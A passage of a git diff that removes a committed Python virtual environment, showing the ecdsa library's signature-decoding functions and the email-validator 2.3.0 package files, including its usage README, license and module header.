lengths or because the encoded - values are too large. - """ - - pass - - -def sigdecode_string(signature, order): - """ - Decoder for :term:`raw encoding` of ECDSA signatures. - - raw encoding is a simple concatenation of the two integers that comprise - the signature, with each encoded using the same amount of bytes depending - on curve size/order. - - It's expected that this function will be used as the ``sigdecode=`` - parameter to the :func:`ecdsa.keys.VerifyingKey.verify` method. - - :param signature: encoded signature - :type signature: bytes like object - :param order: order of the curve over which the signature was computed - :type order: int - - :raises MalformedSignature: when the encoding of the signature is invalid - - :return: tuple with decoded ``r`` and ``s`` values of signature - :rtype: tuple of ints - """ - signature = normalise_bytes(signature) - l = orderlen(order) - if not len(signature) == 2 * l: - raise MalformedSignature( - "Invalid length of signature, expected {0} bytes long, " - "provided string is {1} bytes long".format(2 * l, len(signature)) - ) - r = string_to_number_fixedlen(signature[:l], order) - s = string_to_number_fixedlen(signature[l:], order) - return r, s - - -def sigdecode_strings(rs_strings, order): - """ - Decode the signature from two strings. - - First string needs to be a big endian encoding of ``r``, second needs to - be a big endian encoding of the ``s`` parameter of an ECDSA signature. - - It's expected that this function will be used as the ``sigdecode=`` - parameter to the :func:`ecdsa.keys.VerifyingKey.verify` method. - - :param list rs_strings: list of two bytes-like objects, each encoding one - parameter of signature - :param int order: order of the curve over which the signature was computed - - :raises MalformedSignature: when the encoding of the signature is invalid - - :return: tuple with decoded ``r`` and ``s`` values of signature - :rtype: tuple of ints - """ - if not len(rs_strings) == 2: - raise MalformedSignature( - "Invalid number of strings provided: {0}, expected 2".format( - len(rs_strings) - ) - ) - (r_str, s_str) = rs_strings - r_str = normalise_bytes(r_str) - s_str = normalise_bytes(s_str) - l = orderlen(order) - if not len(r_str) == l: - raise MalformedSignature( - "Invalid length of first string ('r' parameter), " - "expected {0} bytes long, provided string is {1} " - "bytes long".format(l, len(r_str)) - ) - if not len(s_str) == l: - raise MalformedSignature( - "Invalid length of second string ('s' parameter), " - "expected {0} bytes long, provided string is {1} " - "bytes long".format(l, len(s_str)) - ) - r = string_to_number_fixedlen(r_str, order) - s = string_to_number_fixedlen(s_str, order) - return r, s - - -def sigdecode_der(sig_der, order): - """ - Decoder for DER format of ECDSA signatures. - - DER format of signature is one that uses the :term:`ASN.1` :term:`DER` - rules to encode it as a sequence of two integers:: - - Ecdsa-Sig-Value ::= SEQUENCE { - r INTEGER, - s INTEGER - } - - It's expected that this function will be used as as the ``sigdecode=`` - parameter to the :func:`ecdsa.keys.VerifyingKey.verify` method. - - :param sig_der: encoded signature - :type sig_der: bytes like object - :param order: order of the curve over which the signature was computed - :type order: int - - :raises UnexpectedDER: when the encoding of signature is invalid - - :return: tuple with decoded ``r`` and ``s`` values of signature - :rtype: tuple of ints - """ - sig_der = normalise_bytes(sig_der) - # return der.encode_sequence(der.encode_integer(r), der.encode_integer(s)) - rs_strings, empty = der.remove_sequence(sig_der) - if empty != b"": - raise der.UnexpectedDER( - "trailing junk after DER sig: %s" % binascii.hexlify(empty) - ) - r, rest = der.remove_integer(rs_strings) - s, empty = der.remove_integer(rest) - if empty != b"": - raise der.UnexpectedDER( - "trailing junk after DER numbers: %s" % binascii.hexlify(empty) - ) - return r, s diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/INSTALLER b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/METADATA b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/METADATA deleted file mode 100644 index 04cbc2a8296e8fb84d1c46edd68e81c3d8637ba2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/METADATA +++ /dev/null @@ -1,466 +0,0 @@ -Metadata-Version: 2.4 -Name: email-validator -Version: 2.3.0 -Summary: A robust email address syntax and deliverability validation library. -Home-page: https://github.com/JoshData/python-email-validator -Author: Joshua Tauberer -Author-email: jt@occams.info -License: Unlicense -Keywords: email address validator -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: The Unlicense (Unlicense) -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Python: >=3.8 -Description-Content-Type: text/markdown -License-File: LICENSE -Requires-Dist: dnspython>=2.0.0 -Requires-Dist: idna>=2.0.0 -Dynamic: license-file - -email-validator: Validate Email Addresses -========================================= - -A robust email address syntax and deliverability validation library for -Python 3.8+ by [Joshua Tauberer](https://joshdata.me). - -This library validates that a string is of the form `name@example.com` -and optionally checks that the domain name is set up to receive email. -This is the sort of validation you would want when you are identifying -users by their email address like on a registration form. - -Key features: - -* Checks that an email address has the correct syntax --- great for - email-based registration/login forms or validating data. -* Gives friendly English error messages when validation fails that you - can display to end-users. -* Checks deliverability (optional): Does the domain name resolve? - (You can override the default DNS resolver to add query caching.) -* Supports internationalized domain names (like `@ツ.life`), - internationalized local parts (like `ツ@example.com`), - and optionally parses display names (e.g. `"My Name" `). -* Rejects addresses with invalid or unsafe Unicode characters, - obsolete email address syntax that you'd find unexpected, - special use domain names like `@localhost`, - and domains without a dot by default. - This is an opinionated library! -* Normalizes email addresses (important for internationalized - and quoted-string addresses! see below). -* Python type annotations are used. - -This is an opinionated library. You should definitely also consider using -the less-opinionated [pyIsEmail](https://github.com/michaelherold/pyIsEmail) -if it works better for you. - -[![Build Status](https://github.com/JoshData/python-email-validator/actions/workflows/test_and_build.yaml/badge.svg)](https://github.com/JoshData/python-email-validator/actions/workflows/test_and_build.yaml) - -View the [CHANGELOG / Release Notes](CHANGELOG.md) for the version history of changes in the library. Occasionally this README is ahead of the latest published package --- see the CHANGELOG for details. - ---- - -Installation ------------- - -This package [is on PyPI](https://pypi.org/project/email-validator/), so: - -```sh -pip install email-validator -``` - -(You might need to use `pip3` depending on your local environment.) - -Quick Start ------------ - -If you're validating a user's email address before creating a user -account in your application, you might do this: - -```python -from email_validator import validate_email, EmailNotValidError - -email = "my+address@example.org" - -try: - - # Check that the email address is valid. Turn on check_deliverability - # for first-time validations like on account creation pages (but not - # login pages). - emailinfo = validate_email(email, check_deliverability=False) - - # After this point, use only the normalized form of the email address, - # especially before going to a database query. - email = emailinfo.normalized - -except EmailNotValidError as e: - - # The exception message is human-readable explanation of why it's - # not a valid (or deliverable) email address. - print(str(e)) -``` - -This validates the address and gives you its normalized form. You should -**put the normalized form in your database** and always normalize before -checking if an address is in your database. When using this in a login form, -set `check_deliverability` to `False` to avoid unnecessary DNS queries. - -Usage ------ - -### Overview - -The module provides a function `validate_email(email_address)` which -takes an email address and: - -- Raises a `EmailNotValidError` with a helpful, human-readable error - message explaining why the email address is not valid, or -- Returns an object with a normalized form of the email address (which - you should use!) and other information about it. - -When an email address is not valid, `validate_email` raises either an -`EmailSyntaxError` if the form of the address is invalid or an -`EmailUndeliverableError` if the domain name fails DNS checks. Both -exception classes are subclasses of `EmailNotValidError`, which in turn -is a subclass of `ValueError`. - -But when an email address is valid, an object is returned containing -a normalized form of the email address (which you should use!) and -other information. - -The validator doesn't, by default, permit obsoleted forms of email addresses -that no one uses anymore even though they are still valid and deliverable, since -they will probably give you grief if you're using email for login. (See -later in the document about how to allow some obsolete forms.) - -The validator optionally checks that the domain name in the email address has -a DNS MX record indicating that it can receive email. (Except a Null MX record. -If there is no MX record, a fallback A/AAAA-record is permitted, unless -a reject-all SPF record is present.) DNS is slow and sometimes unavailable or -unreliable, so consider whether these checks are useful for your use case and -turn them off if they aren't. -There is nothing to be gained by trying to actually contact an SMTP server, so -that's not done here. For privacy, security, and practicality reasons, servers -are good at not giving away whether an address is -deliverable or not: email addresses that appear to accept mail at first -can bounce mail after a delay, and bounced mail may indicate a temporary -failure of a good email address (sometimes an intentional failure, like -greylisting). - -### Options - -The `validate_email` function also accepts the following keyword arguments -(defaults are as shown below): - -`check_deliverability=True`: If true, DNS queries are made to check that the domain name in the email address (the part after the @-sign) can receive mail, as described above. Set to `False` to skip this DNS-based check. It is recommended to pass `False` when performing validation for login pages (but not account creation pages) since re-validation of a previously validated domain in your database by querying DNS at every login is probably undesirable. You can also set `email_validator.CHECK_DELIVERABILITY` to `False` to turn this off for all calls by default. - -`dns_resolver=None`: Pass an instance of [dns.resolver.Resolver](https://dnspython.readthedocs.io/en/latest/resolver-class.html) to control the DNS resolver including setting a timeout and [a cache](https://dnspython.readthedocs.io/en/latest/resolver-caching.html). The `caching_resolver` function shown below is a helper function to construct a dns.resolver.Resolver with a [LRUCache](https://dnspython.readthedocs.io/en/latest/resolver-caching.html#dns.resolver.LRUCache). Reuse the same resolver instance across calls to `validate_email` to make use of the cache. - -`test_environment=False`: If `True`, DNS-based deliverability checks are disabled and `test` and `**.test` domain names are permitted (see below). You can also set `email_validator.TEST_ENVIRONMENT` to `True` to turn it on for all calls by default. - -`allow_smtputf8=True`: Set to `False` to prohibit internationalized addresses that would - require the - [SMTPUTF8](https://tools.ietf.org/html/rfc6531) extension. You can also set `email_validator.ALLOW_SMTPUTF8` to `False` to turn it off for all calls by default. - -`allow_quoted_local=False`: Set to `True` to allow obscure and potentially problematic email addresses in which the part of the address before the @-sign contains spaces, @-signs, or other surprising characters when the local part is surrounded in quotes (so-called quoted-string local parts). In the object returned by `validate_email`, the normalized local part removes any unnecessary backslash-escaping and even removes the surrounding quotes if the address would be valid without them. You can also set `email_validator.ALLOW_QUOTED_LOCAL` to `True` to turn this on for all calls by default. - -`allow_domain_literal=False`: Set to `True` to allow bracketed IPv4 and "IPv6:"-prefixed IPv6 addresses in the domain part of the email address. No deliverability checks are performed for these addresses. In the object returned by `validate_email`, the normalized domain will use the condensed IPv6 format, if applicable. The object's `domain_address` attribute will hold the parsed `ipaddress.IPv4Address` or `ipaddress.IPv6Address` object if applicable. You can also set `email_validator.ALLOW_DOMAIN_LITERAL` to `True` to turn this on for all calls by default. - -`allow_display_name=False`: Set to `True` to allow a display name and bracketed address in the input string, like `My Name `. It's implemented in the spirit but not the letter of RFC 5322 3.4, so it may be stricter or more relaxed than what you want. The display name, if present, is provided in the returned object's `display_name` field after being unquoted and unescaped. You can also set `email_validator.ALLOW_DISPLAY_NAME` to `True` to turn this on for all calls by default. - -`allow_empty_local=False`: Set to `True` to allow an empty local part (i.e. - `@example.com`), e.g. for validating Postfix aliases. - -`strict=False`: Set to `True` to perform additional syntax checks (currently only a local part length check). This should be used by mail service providers at address creation to ensure email addresses meet broad compatibility requirements. - -### DNS timeout and cache - -When validating many email addresses or to control the timeout (the default is 15 seconds), create a caching [dns.resolver.Resolver](https://dnspython.readthedocs.io/en/latest/resolver-class.html) to reuse in each call. The `caching_resolver` function returns one easily for you: - -```python -from email_validator import validate_email, caching_resolver - -resolver = caching_resolver(timeout=10) - -while True: - validate_email(email, dns_resolver=resolver) -``` - -### Test addresses - -This library rejects email addresses that use the [Special Use Domain Names](https://www.iana.org/assignments/special-use-domain-names/special-use-domain-names.xhtml) `invalid`, `localhost`, `test`, and some others by raising `EmailSyntaxError`. This is to protect your system from abuse: You probably don't want a user to be able to cause an email to be sent to `localhost` (although they might be able to still do so via a malicious MX record). However, in your non-production test environments you may want to use `@test` or `@myname.test` email addresses. There are three ways you can allow this: - -1. Add `test_environment=True` to the call to `validate_email` (see above). -2. Set `email_validator.TEST_ENVIRONMENT` to `True` globally. -3. Remove the special-use domain name that you want to use from `email_validator.SPECIAL_USE_DOMAIN_NAMES`, e.g.: - -```python -import email_validator -email_validator.SPECIAL_USE_DOMAIN_NAMES.remove("test") -``` - -It is tempting to use `@example.com/net/org` in tests. They are *not* in this library's `SPECIAL_USE_DOMAIN_NAMES` list so you can, but shouldn't, use them. These domains are reserved to IANA for use in documentation so there is no risk of accidentally emailing someone at those domains. But beware that this library will nevertheless reject these domain names if DNS-based deliverability checks are not disabled because these domains do not resolve to domains that accept email. In tests, consider using your own domain name or `@test` or `@myname.test` instead. - -Internationalized email addresses ---------------------------------- - -The email protocol SMTP and the domain name system DNS have historically -only allowed English (ASCII) characters in email addresses and domain names, -respectively. Each has adapted to internationalization in a separate -way, creating two separate aspects to email address internationalization. - -(If your mail submission library doesn't support Unicode at all, then -immediately prior to mail submission you must replace the email address with -its ASCII-ized form. This library gives you back the ASCII-ized form in the -`ascii_email` field in the returned object.) - -### Internationalized domain names (IDN) - -The first is [internationalized domain names (RFC -5891)](https://tools.ietf.org/html/rfc5891), a.k.a IDNA 2008. The DNS -system has not been updated with Unicode support. Instead, internationalized -domain names are converted into a special IDNA ASCII "[Punycode](https://www.rfc-editor.org/rfc/rfc3492.txt)" -form starting with `xn--`. When an email address has non-ASCII -characters in its domain part, the domain part is replaced with its IDNA -ASCII equivalent form in the process of mail transmission. Your mail -submission library probably does this for you transparently. ([Compliance -around the web is not very good though](http://archives.miloush.net/michkap/archive/2012/02/27/10273315.html).) This library conforms to IDNA 2008 -using the [idna](https://github.com/kjd/idna) module by Kim Davies. - -### Internationalized local parts - -The second sort of internationalization is internationalization in the -*local* part of the address (before the @-sign). In non-internationalized -email addresses, only English letters, numbers, and some punctuation -(`._!#$%&'^``*+-=~/?{|}`) are allowed. In internationalized email address -local parts, a wider range of Unicode characters are allowed. - -Email addresses with these non-ASCII characters require that your mail -submission library and all the mail servers along the route to the destination, -including your own outbound mail server, all support the -[SMTPUTF8 (RFC 6531)](https://tools.ietf.org/html/rfc6531) extension. -Support for SMTPUTF8 varies. If you know ahead of time that SMTPUTF8 is not -supported by your mail submission stack, then you must filter out addresses that -require SMTPUTF8 using the `allow_smtputf8=False` keyword argument (see above). -This will cause the validation function to raise a `EmailSyntaxError` if -delivery would require SMTPUTF8. If you do not set `allow_smtputf8=False`, -you can also check the value of the `smtputf8` field in the returned object. - -### Unsafe Unicode characters are rejected - -A surprisingly large number of Unicode characters are not safe to display, -especially when the email address is concatenated with other text, so this -library tries to protect you by not permitting reserved, non-, private use, -formatting (which can be used to alter the display order of characters), -whitespace, and control characters, and combining characters -as the first character of the local part and the domain name (so that they -cannot combine with something outside of the email address string or with -the @-sign). See https://qntm.org/safe and https://trojansource.codes/ -for relevant prior work. (Other than whitespace, these are checks that -you should be applying to nearly all user inputs in a security-sensitive -context.) This does not guard against the well known problem that many -Unicode characters look alike, which can be used to fool humans reading -displayed text. - - -Normalization -------------- - -### Unicode Normalization - -The use of Unicode in email addresses introduced a normalization -problem. Different Unicode strings can look identical and have the same -semantic meaning to the user. The `normalized` field returned on successful -validation provides the correctly normalized form of the given email -address. - -For example, the CJK fullwidth Latin letters are considered semantically -equivalent in domain names to their ASCII counterparts. This library -normalizes them to their ASCII counterparts (as required by IDNA): - -```python -emailinfo = validate_email("me@Domain.com") -print(emailinfo.normalized) -print(emailinfo.ascii_email) -# prints "me@domain.com" twice -``` - -Because an end-user might type their email address in different (but -equivalent) un-normalized forms at different times, you ought to -replace what they enter with the normalized form immediately prior to -going into your database (during account creation), querying your database -(during login), or sending outbound mail. - -The normalizations include lowercasing the domain part of the email -address (domain names are case-insensitive), [Unicode "NFC" -normalization](https://en.wikipedia.org/wiki/Unicode_equivalence) of the -whole address (which turns characters plus [combining -characters](https://en.wikipedia.org/wiki/Combining_character) into -precomposed characters where possible, replacement of [fullwidth and -halfwidth -characters](https://en.wikipedia.org/wiki/Halfwidth_and_fullwidth_forms) -in the domain part, possibly other -[UTS46](http://unicode.org/reports/tr46) mappings on the domain part, -and conversion from Punycode to Unicode characters. - -Normalization may change the characters in the email address and the -length of the email address, such that a string might be a valid address -before normalization but invalid after, or vice versa. This library only -permits addresses that are valid both before and after normalization. - -(See [RFC 6532 (internationalized email) section -3.1](https://tools.ietf.org/html/rfc6532#section-3.1) and [RFC 5895 -(IDNA 2008) section 2](http://www.ietf.org/rfc/rfc5895.txt).) - -### Other Normalization - -Normalization is also applied to quoted-string local parts and domain -literal IPv6 addresses if you have allowed them by the `allow_quoted_local` -and `allow_domain_literal` options. In quoted-string local parts, unnecessary -backslash escaping is removed and even the surrounding quotes are removed if -they are unnecessary. For IPv6 domain literals, the IPv6 address is -normalized to condensed form. [RFC 2142](https://datatracker.ietf.org/doc/html/rfc2142) -also requires lowercase normalization for some specific mailbox names like `postmaster@`. - - -Examples --------- - -For the email address `test@joshdata.me`, the returned object is: - -```python -ValidatedEmail( - normalized='test@joshdata.me', - local_part='test', - domain='joshdata.me', - ascii_email='test@joshdata.me', - ascii_local_part='test', - ascii_domain='joshdata.me', - smtputf8=False) -``` - -For the fictitious but valid address `example@ツ.ⓁⒾⒻⒺ`, which has an -internationalized domain but ASCII local part, the returned object is: - -```python -ValidatedEmail( - normalized='example@ツ.life', - local_part='example', - domain='ツ.life', - ascii_email='example@xn--bdk.life', - ascii_local_part='example', - ascii_domain='xn--bdk.life', - smtputf8=False) - -``` - -Note that `normalized` and other fields provide a normalized form of the -email address, domain name, and (in other cases) local part (see earlier -discussion of normalization), which you should use in your database. - -Calling `validate_email` with the ASCII form of the above email address, -`example@xn--bdk.life`, returns the exact same information (i.e., the -`normalized` field always will contain Unicode characters, not Punycode). - -For the fictitious address `ツ-test@joshdata.me`, which has an -internationalized local part, the returned object is: - -```python -ValidatedEmail( - normalized='ツ-test@joshdata.me', - local_part='ツ-test', - domain='joshdata.me', - ascii_email=None, - ascii_local_part=None, - ascii_domain='joshdata.me', - smtputf8=True) -``` - -Now `smtputf8` is `True` and `ascii_email` is `None` because the local -part of the address is internationalized. The `local_part` and `normalized` fields -return the normalized form of the address. - -Return value ------------- - -When an email address passes validation, the fields in the returned object -are: - -| Field | Value | -| -----:|-------| -| `normalized` | The normalized form of the email address that you should put in your database. This combines the `local_part` and `domain` fields (see below). | -| `ascii_email` | If set, an ASCII-only form of the normalized email address by replacing the domain part with [IDNA](https://tools.ietf.org/html/rfc5891) [Punycode](https://www.rfc-editor.org/rfc/rfc3492.txt). This field will be present when an ASCII-only form of the email address exists (including if the email address is already ASCII). If the local part of the email address contains internationalized characters, `ascii_email` will be `None`. If set, it merely combines `ascii_local_part` and `ascii_domain`. | -| `local_part` | The normalized local part of the given email address (before the @-sign). Normalization includes Unicode NFC normalization and removing unnecessary quoted-string quotes and backslashes. If `allow_quoted_local` is True and the surrounding quotes are necessary, the quotes _will_ be present in this field. | -| `ascii_local_part` | If set, the local part, which is composed of ASCII characters only. | -| `domain` | The canonical internationalized Unicode form of the domain part of the email address. If the returned string contains non-ASCII characters, either the [SMTPUTF8](https://tools.ietf.org/html/rfc6531) feature of your mail relay will be required to transmit the message or else the email address's domain part must be converted to IDNA ASCII first: Use `ascii_domain` field instead. | -| `ascii_domain` | The [IDNA](https://tools.ietf.org/html/rfc5891) [Punycode](https://www.rfc-editor.org/rfc/rfc3492.txt)-encoded form of the domain part of the given email address, as it would be transmitted on the wire. | -| `domain_address` | If domain literals are allowed and if the email address contains one, an `ipaddress.IPv4Address` or `ipaddress.IPv6Address` object. | -| `display_name` | If no display name was present and angle brackets do not surround the address, this will be `None`; otherwise, it will be set to the display name, or the empty string if there were angle brackets but no display name. If the display name was quoted, it will be unquoted and unescaped. | -| `smtputf8` | A boolean indicating that the [SMTPUTF8](https://tools.ietf.org/html/rfc6531) feature of your mail relay will be required to transmit messages to this address because the local part of the address has non-ASCII characters (the local part cannot be IDNA-encoded). If `allow_smtputf8=False` is passed as an argument, this flag will always be false because an exception is raised if it would have been true. | -| `mx` | A list of (priority, domain) tuples of MX records specified in the DNS for the domain (see [RFC 5321 section 5](https://tools.ietf.org/html/rfc5321#section-5)). May be `None` if the deliverability check could not be completed because of a temporary issue like a timeout. | -| `mx_fallback_type` | `None` if an `MX` record is found. If no MX records are actually specified in DNS and instead are inferred, through an obsolete mechanism, from A or AAAA records, the value is the type of DNS record used instead (`A` or `AAAA`). May be `None` if the deliverability check could not be completed because of a temporary issue like a timeout. | -| `spf` | Any SPF record found while checking deliverability. Only set if the SPF record is queried. | - -Assumptions ------------ - -By design, this validator does not pass all email addresses that -strictly conform to the standards. Many email address forms are obsolete -or likely to cause trouble: - -* The validator assumes the email address is intended to be - usable on the public Internet. The domain part - of the email address must be a resolvable domain name - (see the deliverability checks described above). - Most [Special Use Domain Names](https://www.iana.org/assignments/special-use-domain-names/special-use-domain-names.xhtml) - and their subdomains, as well as - domain names without a `.`, are rejected as a syntax error - (except see the `test_environment` parameter above). -* Obsolete email syntaxes are rejected: - The unusual ["(comment)" syntax](https://github.com/JoshData/python-email-validator/issues/77) - is rejected. Extremely old obsolete syntaxes are - rejected. Quoted-string local parts and domain-literal addresses - are rejected by default, but there are options to allow them (see above). - No one uses these forms anymore, and I can't think of any reason why anyone - using this library would need to accept them. - -Testing -------- - -Tests can be run using - -```sh -pip install -r test_requirements.txt -make test -``` - -Tests run with mocked DNS responses. When adding or changing tests, temporarily turn on the `BUILD_MOCKED_DNS_RESPONSE_DATA` flag in `tests/mocked_dns_responses.py` to re-build the database of mocked responses from live queries. - -For Project Maintainers ------------------------ - -The package is distributed as a universal wheel and as a source package. - -To release: - -* Update CHANGELOG.md. -* Update the version number in `email_validator/version.py`. -* Make & push a commit with the new version number and make sure tests pass. -* Make a release at https://github.com/JoshData/python-email-validator/releases/new creating a new tag (or use command below). -* Publish a source and wheel distribution to pypi (see command below). - -```sh -git tag v$(cat email_validator/version.py | sed "s/.* = //" | sed 's/"//g') -git push --tags -./release_to_pypi.sh -``` - -License -------- - -This project is free of any copyright restrictions per the [Unlicense](https://unlicense.org/). (Prior to Feb. 4, 2024, the project was made available under the terms of the [CC0 1.0 Universal public domain dedication](http://creativecommons.org/publicdomain/zero/1.0/).) See [LICENSE](LICENSE) and [CONTRIBUTING.md](CONTRIBUTING.md). diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/RECORD b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/RECORD deleted file mode 100644 index 5c635935803ec9620ee358cf161ef7f91e4bae24..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/RECORD +++ /dev/null @@ -1,28 +0,0 @@ -../../Scripts/email_validator.exe,sha256=mdN_oFVAXwI-RW1FBP_2vo1DIkfKQ4ZkoJuLQipxO4A,108403 -email_validator-2.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -email_validator-2.3.0.dist-info/METADATA,sha256=Kpe4Hu_NhWvICwNG9H-i2AC5pDi_j5IxrgD-kx1cn7w,26006 -email_validator-2.3.0.dist-info/RECORD,, -email_validator-2.3.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -email_validator-2.3.0.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91 -email_validator-2.3.0.dist-info/entry_points.txt,sha256=zRM_6bNIUSHTbNx5u6M3nK1MAguvryrc9hICC6HyrBg,66 -email_validator-2.3.0.dist-info/licenses/LICENSE,sha256=ZyF5dS4QkTSj-yvdB4Cyn9t6A5dPD1hqE66tUSlWLUw,1212 -email_validator-2.3.0.dist-info/top_level.txt,sha256=fYDOSWFZke46ut7WqdOAJjjhlpPYAaOwOwIsh3s8oWI,16 -email_validator/__init__.py,sha256=g3oVBGdXGJATgBnVqt5Q7pUhXM9QrmOl5qWSu_RtWmQ,4381 -email_validator/__main__.py,sha256=uc6i2EMCK67cCgcHr5ZFG5LqB3khljmR7lNAYZGSUKY,2302 -email_validator/__pycache__/__init__.cpython-314.pyc,, -email_validator/__pycache__/__main__.cpython-314.pyc,, -email_validator/__pycache__/deliverability.cpython-314.pyc,, -email_validator/__pycache__/exceptions.cpython-314.pyc,, -email_validator/__pycache__/rfc_constants.cpython-314.pyc,, -email_validator/__pycache__/syntax.cpython-314.pyc,, -email_validator/__pycache__/types.cpython-314.pyc,, -email_validator/__pycache__/validate_email.cpython-314.pyc,, -email_validator/__pycache__/version.cpython-314.pyc,, -email_validator/deliverability.py,sha256=ZIjFkgWMzxYexanwKhrRHLTnjWMqlR5b0ltOnlA0u-E,7216 -email_validator/exceptions.py,sha256=Ry2j5FMpEe9JthmTF3zF5pGgWer-QmWc1m0szXAZ7fo,434 -email_validator/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -email_validator/rfc_constants.py,sha256=LhUiBZLBw_Nn-KHkH--nVwOWFlgz2aCuauj98ZSl-gk,3443 -email_validator/syntax.py,sha256=puufskeIG6_ORWb7fvRdV_Yczmk4bibNZPs9TjWE1K0,38971 -email_validator/types.py,sha256=mvmwN9R3lFx9Tv9wtWvDzxfit6mr_5wQmY2I0HjuqRk,5588 -email_validator/validate_email.py,sha256=bmrdQ9dGt1-Mk0rwDRrX-l6xbYhQ0US20Dz46Aatnkk,9928 -email_validator/version.py,sha256=CpK8IH_dCUAwg9tqv7zm9FxbBFkxCnED1JUiRe7cftU,22 diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/REQUESTED b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/WHEEL b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/WHEEL deleted file mode 100644 index e7fa31b6f3f78deb1022c1f7927f07d4d16da822..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.9.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/entry_points.txt b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/entry_points.txt deleted file mode 100644 index 03c6e23010b8a919ee98bbb007cbb06b99c3160b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/entry_points.txt +++ /dev/null @@ -1,2 +0,0 @@ -[console_scripts] -email_validator = email_validator.__main__:main diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/licenses/LICENSE deleted file mode 100644 index 122e7a71fcd85a909f2321cda3d4b8495b913c80..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -This is free and unencumbered software released into the public -domain. - -Anyone is free to copy, modify, publish, use, compile, sell, or -distribute this software, either in source code form or as a -compiled binary, for any purpose, commercial or non-commercial, -and by any means. - -In jurisdictions that recognize copyright laws, the author or -authors of this software dedicate any and all copyright -interest in the software to the public domain. We make this -dedication for the benefit of the public at large and to the -detriment of our heirs and successors. We intend this -dedication to be an overt act of relinquishment in perpetuity -of all present and future rights to this software under -copyright law. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR -ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF -CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. - -For more information, please refer to diff --git a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/top_level.txt b/venv/Lib/site-packages/email_validator-2.3.0.dist-info/top_level.txt deleted file mode 100644 index 798fd5ef9f745d52de66401eacd4fd74cbf3dbbb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator-2.3.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -email_validator diff --git a/venv/Lib/site-packages/email_validator/__init__.py b/venv/Lib/site-packages/email_validator/__init__.py deleted file mode 100644 index 38d0741489213c5ed5de042f6efb81cbb08fc8a8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/__init__.py +++ /dev/null @@ -1,103 +0,0 @@ -from typing import TYPE_CHECKING - -# Export the main method, helper methods, and the public data types. -from .exceptions import EmailNotValidError, EmailSyntaxError, EmailUndeliverableError -from .types import ValidatedEmail -from .validate_email import validate_email -from .version import __version__ - -__all__ = ["validate_email", - "ValidatedEmail", "EmailNotValidError", - "EmailSyntaxError", "EmailUndeliverableError", - "caching_resolver", "__version__"] - -if TYPE_CHECKING: - from .deliverability import caching_resolver -else: - def caching_resolver(*args, **kwargs): - # Lazy load `deliverability` as it is slow to import (due to dns.resolver) - from .deliverability import caching_resolver - - return caching_resolver(*args, **kwargs) - - -# These global attributes are a part of the library's API and can be -# changed by library users. - -# Default values for keyword arguments. - -ALLOW_SMTPUTF8 = True -ALLOW_EMPTY_LOCAL = False -ALLOW_QUOTED_LOCAL = False -ALLOW_DOMAIN_LITERAL = False -ALLOW_DISPLAY_NAME = False -STRICT = False -GLOBALLY_DELIVERABLE = True -CHECK_DELIVERABILITY = True -TEST_ENVIRONMENT = False -DEFAULT_TIMEOUT = 15 # secs - -# IANA Special Use Domain Names -# Last Updated 2021-09-21 -# https://www.iana.org/assignments/special-use-domain-names/special-use-domain-names.txt -# -# The 